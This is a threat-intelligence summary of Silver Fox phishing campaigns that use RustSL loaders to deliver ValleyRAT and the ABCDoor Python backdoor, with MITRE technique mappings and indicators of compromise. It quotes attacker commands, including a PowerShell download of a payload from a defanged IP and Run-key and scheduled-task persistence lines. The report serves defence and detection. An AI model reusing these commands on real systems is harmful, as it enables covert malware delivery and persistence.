Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India

Silver Fox uses the new ABCDoor backdoor to target organizations in Russia and India
From December 2025 through early 2026 the Silver Fox threat group ran tax-themed phishing campaigns against organizations in India, Russia and other countries, using modified RustSL loaders to deliver the ValleyRAT backdoor and a newly documented Python backdoor named ABCDoor. The actors employed PDF download links, SendGrid-distributed attachments, geofencing checks, multi-stage payload delivery, and a Phantom Persistence technique to evade detection and maintain persistence. #SilverFox #ABCDoor

Keypoints

  • Campaigns impersonated tax authorities (India, Russia, Japan) via emails and PDFs that either embedded malicious code or linked to attacker-controlled downloads, resulting in over 1,600 malicious emails recorded in one wave.
  • Attackers used a customized RustSL loader (Silver Fox RustSL) that unpacks an encrypted payload (shellcode) which then downloads and launches the ValleyRAT (Winos 4.0) backdoor.
  • Silver Fox modified RustSL by adding steganography.rs (custom XOR-based unpacking) and guard.rs (environment checks and country geofencing), and abused multiple delivery methods (embedded payloads, hosted PNGs, same-archive payloads).
  • ValleyRAT modules delivered a new plugin pair (保86.dll / 保86.dll_bin) that downloaded a large archive containing a Python environment and a novel Python backdoor dubbed ABCDoor; ABCDoor has been present since at least late 2024.
  • ABCDoor is a Cython-compiled Python backdoor (appclient) that uses HTTPS/Socket.IO C2, implements persistence via HKCU Run key and a scheduled task, supports screen broadcasting via ffmpeg (DDA), and includes update/self-delete capabilities.
  • Silver Fox used multiple distribution stagers (C++, Go, JavaScript loaders in SFX archives), diverse hosting infrastructure (TinyURL redirects, many abc.* domains, dedicated C2 IPs), and persistence/evasion techniques including Phantom Persistence to survive reboots.

MITRE Techniques

  • [T1566 ] Phishing – Use of tax-themed emails and PDFs to induce users to download or open malicious archives (‘phishing emails were styled as official notices regarding tax audits’).
  • [T1566.001 ] Spearphishing Attachment – Direct embedding of malicious executables within email attachments (e.g., ITD.-.rar containing Click File.exe) (‘the malicious code was embedded directly within the files attached to the email’).
  • [T1566.002 ] Spearphishing Link – PDFs with clickable download links that lead to attacker-controlled sites (e.g., abc.haijing88[.]com/uploads/фнс/фнс.zip) to bypass gateways (‘The PDF contained two clickable links to download an archive, both leading to a malicious website’).
  • [T1105 ] Ingress Tool Transfer – Downloading additional payloads and archives from attacker servers using InternetReadFile, URLDownloadToFile, PowerShell, and curl (examples: hxxp://154.82.81[.]205/YD20251001143052.zip) (‘The module implements the following download methods: Using the InternetReadFile function… Using the URLDownloadToFile function… Using PowerShell… Using curl’).
  • [T1547 ] Boot or Logon Autostart Execution (Phantom Persistence) – Abuse of RegisterApplicationRestart and shutdown-hijack logic to achieve persistence across reboots (‘Phantom Persistence Module (Hijack Mode)’ and ‘[*] Calling RegisterApplicationRestart… [+] RegisterApplicationRestart succeeded.’).
  • [T1547.001 ] Registry Run Keys / Startup Folder – Establishing persistence via HKCU Run key to auto-start the Python module (‘reg add “HKCUSoftwareMicrosoftWindowsCurrentVersionRun” /v “AppClient” … “”” -m appclient”‘).
  • [T1053.005 ] Scheduled Task/Job – Creating a scheduled task named “AppClient” that runs every minute to ensure execution (‘schtasks /create /sc minute /mo 1 /tn “AppClient” /tr ” -m appclient” /f’).
  • [T1059.001 ] Command and Scripting Interpreter: PowerShell – Use of PowerShell for downloading and executing payloads and for update execution (‘powershell.exe -Command “& {[System.Net.ServicePointManager]::SecurityProtocol = … Invoke-WebRequest -Uri ‘hxxp://154.82.81[.]205/YD20251001143052.zip’ -OutFile … }”‘).
  • [T1059.006 ] Command and Scripting Interpreter: Python – Execution of the backdoor under pythonw.exe (-m appclient) and delivery of a Python environment bundled in the archive (‘start “” /B “%DES_DIR%pythonpythonw.exe” -m appclient’).
  • [T1071.001 ] Application Layer Protocol: Web Protocols – Backdoor C2 communication over HTTPS / Socket.IO for command and control (‘the backdoor establishes persistence… built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS’).
  • [T1027 ] Obfuscated Files or Information – Use of encryption, string obfuscation, junk instruction insertion and multiple payload encryption/encoding options in RustSL to impede analysis (‘Eight payload encryption methods… encrypts all strings by default and inserts junk instructions’).
  • [T1113 ] Screen Capture – Use of bundled ffmpeg.exe and DDA-based capture functions to record and stream one or multiple monitors (‘the backdoor uses ffmpeg.exe … for screen capturing’ and ‘recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA)’).

Indicators of Compromise

  • [Domain ] distribution and C2 infrastructure – abc.haijing88[.]com (phishing PDF and download host), abc.fetish-friends[.]com (ABCDoor staging), and several other abc.* domains used for staging and distribution.
  • [IP Address ] C2 and distribution servers – 154.82.81[.]205 (hosting YD20251001143052.zip and other archives), 207.56.138[.]28 (ValleyRAT C2), and other C2 IPs listed for ValleyRAT and loaders.
  • [File Hash ] Notable malicious binaries and archives – Silver Fox RustSL loader samples (example long loader hash sequence provided in report), ABCDoor .pyd examples (e.g., 13669B8F2BD0AF53A3FE9AC0490499E5), and many other hashes for SFX/ZIP archives and stagers.
  • [File Name ] Malicious filenames and artifacts – Click File.exe (RustSL loader disguised with PDF icon), ITD.-.rar (attachment delivering loader), and YD20251001143052.zip (large ABCDoor archive hosted on 154.82.81[.]205).


Read more: https://securelist.com/silver-fox-tax-notification-campaign/119575/